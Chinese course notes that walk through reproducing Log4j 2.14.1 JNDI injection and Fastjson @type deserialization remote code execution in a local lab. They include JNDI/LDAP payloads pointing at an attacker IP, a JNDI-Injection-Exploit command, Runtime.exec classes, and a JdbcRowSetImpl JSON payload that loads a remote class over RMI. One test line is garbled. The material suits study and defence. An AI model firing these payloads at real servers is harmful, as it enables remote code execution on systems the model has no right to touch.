036-安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入

036-安全开发-JavaEE应用&第三方组件&Log4j日志&FastJson序列化&JNDI注入

Untitled

#知识点:

1、JavaEE-组件安全-Log4j
2、JavaEE-组件安全-Fastjson
3、JavaEE-基本了解-JNDI-API

演示案例:

➢Java-三方组件-Log4J&JNDI
➢Java-三方组件-FastJson&反射

#Java-项目管理工具-配置

Jar仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI相关概念:

1、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。用于在分布式环境中查找和访问命名和目录服务。它允许Java应用程序通过名称引用资源,如数据库连接、远程对象等。

2、反序列化常用的两种利用方式,一种是基于RMI,一种是基于ldap

3、RMI是一种行为,指的是Java远程方法调用。通过 RMI,对象的方法可以在远程 JVM 上被调用。

4、LDAP指轻量级目录服务协议。LDAP 主要用于访问目录服务,这是一种树形结构的数据库,用于组织和存储信息。

JNDI注入:

原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。

Untitled

  • Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
  1. Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入执行恶意的Java代码。

    1. 上下文注入:
      1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
      2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}
  2. FastJson JNDI 注入漏洞(JSON ):

    1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
    2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。
      1. 攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
    3. 远程代码执行:
      1. 由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

#Java-三方组件-Log4J&JNDI

Log4J:日志管理
Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

本地简单实现

  • 创建Maven并命名为Log4jDemo
  • 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
  • 并刷新Maven则导入成功
  • 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
    • Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
    • Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency>
**import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;**public class Log4jTest {// 创建 Logger 实例private static final Logger Logger = LogManager.getLogger(Log4jTest.class);public static void main(String[] args) {**// 潜在的安全风险:使用不受信任的数据作为日志消息String code = "${java:os}";// 将不受信任的数据作为日志消息传递给 Logger.errorLogger.error("{}", code);**}
}

Untitled

Untitled

Untitled

Untitled

构造HTTP Web服务 使用带漏洞Log4j版本 实现功能

潜在的安全风险:直接使用用户输入构造日志消息

1、开发源码中引用漏洞组件如log4j
2、开发中使用组件的代码(触发漏洞代码)
3、可控变量去传递Payload来实现攻击

Payload通常指的是一段恶意代码或指令,旨在利用漏洞或实施攻击。

1、Maven引用Log4j

Untitled

Untitled

@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {private static final Logger Logger = LogManager.getLogger(Log4jServlet.class);@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从请求中获取名为 "code" 的参数String code = req.getParameter("code");// 记录日志,潜在的安全风险:直接使用用户输入Logger.error("{}", code);}
}

2、接受用户输入值

遇到问题:HTTP Status 400 – 错误的请求描述 由于被认为是客户端对错误(例如:畸形的请求语法、无效的请求信息帧或者虚拟的请求路由),服务器无法或不会处理当前请求

Untitled

原因:
是tomcat的版本问题,好像是tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。传入的参数中有"{"不在RFC3986中的保留字段中,所以会报这个错。

解决方式:修改Tomcat配置server.xml

<Connector port="8080" protocol="HTTP/1.1"relaxedQueryChars="[]|{}^&#x5c;&#x60;&quot;&lt;&gt;"connectionTimeout="20000"redirectPort="8443" /

Untitled

Untitled

3、Log4j处理错误输入

Untitled

4、利用jndi-ldap执行

  1. code=$(java:os) 输出执行结果:显示系统
  2. code=(java:os) 正常输入正常输出:(java:os)
  3. ${jndi:ldap://47.94.236.117:1389/uyhyw6}
  4. ${jndi:ldap://xxxx.dns.log}
  5. ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
  6. 什么方法? -A “calc” 执行计算机的功能方法(JNDI注入工具生成的

Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)_log4j rce jndi-CSDN博客

Untitled

Untitled

Untitled

Untitled

Test:
String code=“test”;
String code=“ j a v a : o s " ; l o g g e r . e r r o r ( " " , c o d e ) ; S t r i n g e x p = " {java:os}"; logger.error("{}",code); String exp=" java:os";logger.error("",code);Stringexp="{jndi:ldap://xx.xx.xx.xx:xx/xxx}”;
服务器:
java -jar JNDI-Injection-Exploit.jar -C “calc” -A xx.xx.xx.xx

#Java-三方组件-FastJson&反射

FastJson:可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1、Maven引用Fastjson

Untitled

Untitled

Untitled

2、创建需转换类对象User

package com.wusuowei;//给fastjson数据转换测试用的
public class User {private String name;private Integer age;public Integer getAge() {return age;}public String getName() {return name;}public void setAge(Integer age) {this.age = age;System.out.println(age);}public void setName(String name) {this.name = name;System.out.println(name);}
}

Untitled

3、使用Fastjson进行数据转换(对象转Json)

  • 对象 -> JSON
    • 我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
      我就选择第三方组件fastjson来去做这个功能
//使用fastjson去处理User类数据
public class FastjsonTest {public static void main(String[] args) {//u Object对象//Integer age String name 字符串数据User u = new User();u.setAge(30);u.setName("xiaodi");
//        System.out.println(u);//上述对象 -> JSON//我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)//我就选择第三方组件fastjson来去做这个功能//讲json对象转换json数据String jsonString = JSONObject.toJSONString(u);System.out.println("这就是json格式:"+jsonString);
}}

Untitled

4、数据转换(Json转对象)

  • 下面JSON -> 对象
  • 分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个**@type 转换对象类包**
//分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);System.out.println(jsonString1);

Untitled

  • 实战中com.wusuowei.Run 我们不知道 固定调用

  • rmi ldap 去触发远程的class 执行代码(RCE)

    • 将test1中的的**@type 转换对象类包修改为别的东西,例如在本地创建的调用系统计算器的@type 转换对象类包、**
    package com.wusuowei;import java.io.IOException;public class Run {public Run() throws IOException {Runtime.getRuntime().exec("calc");}
    }
    
    • JSON.parseObject(test)test字符串进行反序列化,并将其转换为一个JSONObject对象。JSONObject是Fastjson库中表示JSON对象的类。
    • 成功调用本机计算器
//下面JSON -> 对象String test = "{\"@type\":\"com.wusuowei.User\",\"age\":30,\"name\":\"xiaodi\"}";String test1 = "{\"@type\":\"com.wusuowei.Run\",\"age\":30,\"name\":\"xiaodi\"}";//实战中com.xiaodi.Run 我们不知道 固定调用//rmi ldap 去触发远程的class 执行代码(RCE)JSONObject jsonObject = JSON.parseObject(test);System.out.println("这就是json转换为对象的格式:"+jsonObject);JSONObject jsonObject1 = JSON.parseObject(test1);System.out.println("这就是json转换为对象的格式:"+jsonObject1);

Untitled

服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891

总结:

流程如下:

  1. 开启HTTP服务器并放置恶意类:
    • 攻击者首先启动一个 HTTP 服务器,并在其中放置 Factory 类包含恶意类的文件或 JAR 文件。这些文件包含了攻击者想要远程加载并执行的恶意代码。
  2. 开启恶意RMI服务器:
    • 攻击者启动一个恶意的 RMI 服务器,该服务器可能包含一个特殊的远程对象,其目的是在远程加载时执行恶意代码。
  3. 攻击者控制URL参数为恶意RMI服务器地址:
    • 攻击者通过抓包并修改请求方式,将**数据源的 RMI URL,指向一个 Factory的远程对象—RMI服务器制定远程加载类Factory.class 的地址,**使目标系统的应用程序使用了特定的 URL 参数,该参数指向攻击者控制的恶意 RMI 服务器地址。
  4. 恶意RMI服务器返回ReferenceWrapper类:
    • 当目标系统执行 JNDI 的 lookup 操作时,攻击者的恶意 RMI 服务器返回一个特殊的对象,可能是 ReferenceWrapper 类的实例。
  5. 目标执行lookup操作,将ReferenceWrapper变成Reference类:
    • 目标系统的代码(可能是 JNDI_Client 类)在执行 lookup 操作时,通过自定义的 decodeObject 方法将 ReferenceWrapper 对象变成 Reference 类的实例。
    • 在这个过程中,可能涉及到远程类加载,将攻击者准备的 Factory 类加载到目标系统中。
  6. 远程加载并实例化Factory类,触发静态代码片段中的恶意代码:
    • 在将 Reference 类实例化时,可能触发了 Factory 类的静态初始化块,其中包含攻击者准备的恶意代码。
    • 这样,攻击者成功在目标系统上执行了远程加载并触发了恶意代码。

Untitled

Untitled

Untitled

  1. 搭建靶场(目标)

    1. http://192.168.10.171:8090/
  2. 搭建恶意站点(攻击机)

    1. 编写恶意代码TouchFile.java(创建文件)

      import java.lang.Runtime;
      import java.lang.Process;public class TouchFile {static {try {// 获取运行时对象Runtime rt = Runtime.getRuntime();**// 定义执行的命令String[] commands = {"touch", "/tmp/EDI"};// 执行命令Process pc = rt.exec(commands);**// 等待进程执行完成pc.waitFor();} catch (Exception e) {// 异常处理,这里仅打印异常,没有进一步处理e.printStackTrace();}// 静态初始化块结束}// 类定义结束
      }
      
    2. javac TouchFile.java编译一下,生成TouchFile.class.

    3. 开启http访问(http://192.168.8.14:8888/)

  3. 开启RMI服务

    1. 监听9999端口,并制定远程加载类TouchFile.class
    2. rmi://192.168.8.14:9999/TouchFile
  4. burp抓包目标靶机

    1. 修改请求方式为POST Content-Type改成application/json

    2. 写入exp,然后发送请求。

    3. 进行替换

      "b": {// 这是一个表示离线行集的类,通常与 JDBC 一起使用。**//DBC RowSet是Java中用于操作数据库结果集的一种方式,它提供了一种离线的、可序列化的结果集对象。"@type": "com.sun.rowset.JdbcRowSetImpl",// 这指示数据源的 RMI URL,指向一个 TouchFile 的远程对象。"dataSourceName": "rmi://192.168.8.14:9999/TouchFile",**// 自动提交设置为 true"autoCommit": true}
      
  5. 进入docker容器中查看已在tmp目录下创建EDI文件

    Untitled

原文链接:https://blog.csdn.net/guo15890025019/article/details/120532891

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/685073.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenAI全新发布文生视频模型Sora - 现实,不存在了

OpenAI&#xff0c;发他们的文生视频大模型&#xff0c;Sora了。。。。。 而且&#xff0c;是强到&#xff0c;能震惊我一万年的程度。。。 https://openai.com/sora 如果非要用三个词来总结Sora&#xff0c;那就是“60s超长长度”、“单视频多角度镜头”和“世界模型” &am…

Codeforces Round 926 (Div. 2)(A,B,C,D,E,F)

这场还是很有含金量的&#xff0c;B题开始就有难度了&#xff0c;B是个推结论的题&#xff0c;C要推结论然后递推&#xff0c;D题是有点难的树上DP&#xff08;主要是状态转移方程不好写&#xff09;&#xff0c;E题是个二进制预处理然后状压DP&#xff0c;F题是个数论&#xf…

写一个程序,输入数量不确定的[0,9]范围内的整数,统计每一种数字出现的次数输入-1表示结束

#include <stdio.h> int main(void) {int x;int count[10];int i;for(i0;i<10;i){//初始化数组 count[i]0;}scanf("%d",&x);while(x!-1){if( x>0 && x<9){count[x];//数组参与运算 }scanf("%d",&x);}for(i0;i<10;i){pr…

车载诊断协议DoIP系列 —— 车辆以太网节点需求汇总

车载诊断协议DoIP系列 —— 车辆以太网节点需求汇总 我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师(Wechat:gongkenan2013)。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 本就是小人物,输了就是输了,不要在意别人怎么看自己。江湖一碗茶,…

安装 Windows Server 2003

1.镜像安装 镜像安装:Windows Server 2003 2.安装过程(直接以图的形式呈现) 按Enter(继续),继续后F8继续 直接Enter安装 下一步 秘钥:GM34K-RCRKY-CRY4R-TMCMW-DMDHM 等待安装成功即可

JavaWeb

一、技术栈 【1】 前端部分 HTML CSS JavaScript ES6 Nodejs npm vite vue3 router pinia axios element-plus … 【2】 后端部分 HTTP xml Tomcat Servlet Request Response Cookie Sesssion Filter Listener MySQL JDBC Druid Jackson lombok jwt … 二、JAVAWEB交互模…

【知识整理】产研中心岗位评定标准之大数据岗位

为贯彻执行集团数字化转型的需要,该知识库将公示集团组织内各产研团队不同角色成员的职务“职级”岗位的评定标准; 一、定级定档目的 通过对公司现有岗位及相应岗位员工的工作能力、工作水平进行客观公正评定,确定各岗位的等级及同等级岗位员工对应的档级,从而为员工以后的晋升…

三种输入输出函数

目录 printf函数 scanf函数 getchar函数 putchar函数 gets函数 puts函数 printf函数 当你需要将数据或文本输出到屏幕或其他输出设备时&#xff0c;C语言提供了一个非常有用的函数&#xff0c;即 printf() 函数。它是标准库中定义的函数&#xff0c;用于格式化输出。 pr…

React 的调度系统 Scheduler

原文地址1 原文地址2 其中startTime是任务开始的时间&#xff0c;默认是-1&#xff0c;任务开始时将任务开始时间赋值给了startTime&#xff0c; 这里意思是判断这个任务执行时间是否超过5ms(写死的)。若超过&#xff0c;则要交出。

Linux platform tree下的单总线驱动程序设计(DHT11)

目录 概述 1 认识DHT11 1.1 DHT11特性 1.2 DHT11数据格式 1.3 DHT11与MCU通信 1.4 DHT11信号解析 1.4.1 起始信号 1.4.2 解析信号0 1.4.3 解析信号1 2 驱动开发 2.1 硬件接口 2.2 更新设备树 2.2.1 添加驱动节点 2.2.2 编译.dts 2.2.3 更新板卡中的.dtb 2.3 驱…

【Git】上传本地文件到Git(以Windows环境为例)

Git 的下载参考&#xff1a;Git 安装及配置 一、Git 上传的整体流程 1、工作区 > 本地仓库 将本地文件上传到Git&#xff0c;需要先上传到本地仓库&#xff0c;然后再上传到远程仓库。要上传文件到本地仓库&#xff0c;不是直接拷贝进去的&#xff0c;而是需要通过命令一步…

【Linux网络编程六】服务器守护进程化Daemon

【Linux网络编程六】服务器守护进程化Daemon 一.背景知识&#xff1a;前台与后台二.相关操作三.Linux的进程间关系四.自成会话五.守护进程四步骤六.服务器守护进程化 一.背景知识&#xff1a;前台与后台 核心知识就是一个用户在启动Linux时&#xff0c;都会给一个session会话&a…

Java毕业设计-基于springboot的学院物资管理系统-第73期

获取源码资料&#xff0c;请移步从戎源码网&#xff1a;从戎源码网_专业的计算机毕业设计网站 项目介绍 基于springboot的学院物资管理系统&#xff1a;前端thymeleaf、jquery、layui&#xff0c;后端 maven、springmvc、spring、mybatis&#xff0c;有配套报告文档&#xff…

【动态规划】【记忆化搜索】【状态压缩】1681. 最小不兼容性

作者推荐 【数位dp】【动态规划】【状态压缩】【推荐】1012. 至少有 1 位重复的数字 本文涉及知识点 动态规划汇总 状态压缩 记忆化搜索 1681. 最小不兼容性 给你一个整数数组 nums​​​ 和一个整数 k 。你需要将这个数组划分到 k 个相同大小的子集中&#xff0c;使得同一…

指针的经典笔试题

经典的指针试题&#xff0c;让你彻底理解指针 前言 之前对于指针做了一个详解&#xff0c;现在来看一些关于指针的经典面试题。 再次说一下数组名 数组名通常表示的都是首元素的地址&#xff0c;但是有两个意外&#xff0c;1.sizeof&#xff08;数组名&#xff09;这里数组名…

如何在JavaScript中使用大于和小于运算符

在你的 JavaScript 程序中&#xff0c;你经常需要比较两个值&#xff0c;以确定一个是否大于另一个或小于另一个。这就是大于和小于运算符派上用场的地方。 在本文中&#xff0c;我们将通过代码示例更详细地介绍如何使用这些运算符。 &#xff08;本文内容参考&#xff1a;ja…

rabbitmq自用记录

参考博客RabbitMq安装与使用&#xff08;mac&#xff09;高效总结&#xff08;亲测&#xff09;_mac 安装rabbitmq 服务端口-CSDN博客 启动服务 这里提前把redis服务也启动了 这里看到前端更改数据,后端进行日志打印 登录后访问rabbitmq网址

java 线程安全介绍

所谓线程安全无非是要控制多个线程对某个资源的有序访问或修改。总结java的内存模型&#xff0c;要解决两个主要的问题&#xff1a;可见性和有序性。 那么&#xff0c;何谓可见性&#xff1f; 多个线程之间是不能互相传递数据通信的&#xff0c;它们之间的沟通只能通过共享变量…

MinIO 和 Apache Tika:文本提取模式

Tl;dr: 在这篇文章中&#xff0c;我们将使用 MinIO Bucket Notifications 和 Apache Tika 进行文档文本提取&#xff0c;这是大型语言模型训练和检索增强生成 LLM和RAG 等关键下游任务的核心。 前提 假设我想构建一个文本数据集&#xff0c;然后我可以用它来微调 LLM.为了做…

爬虫之牛刀小试(十):爬取某宝手机商品的销量,价格和店铺

首先淘宝需要登录&#xff0c;这一点如果用selenium如何解决&#xff0c;只能手动登录&#xff1f;如果不用selenium&#xff0c;用cookies登录也可。但是验证码又是一个问题&#xff0c;现在的验证码五花八门&#xff0c;难以处理。 我们回到正题&#xff0c;假设你已经登录上…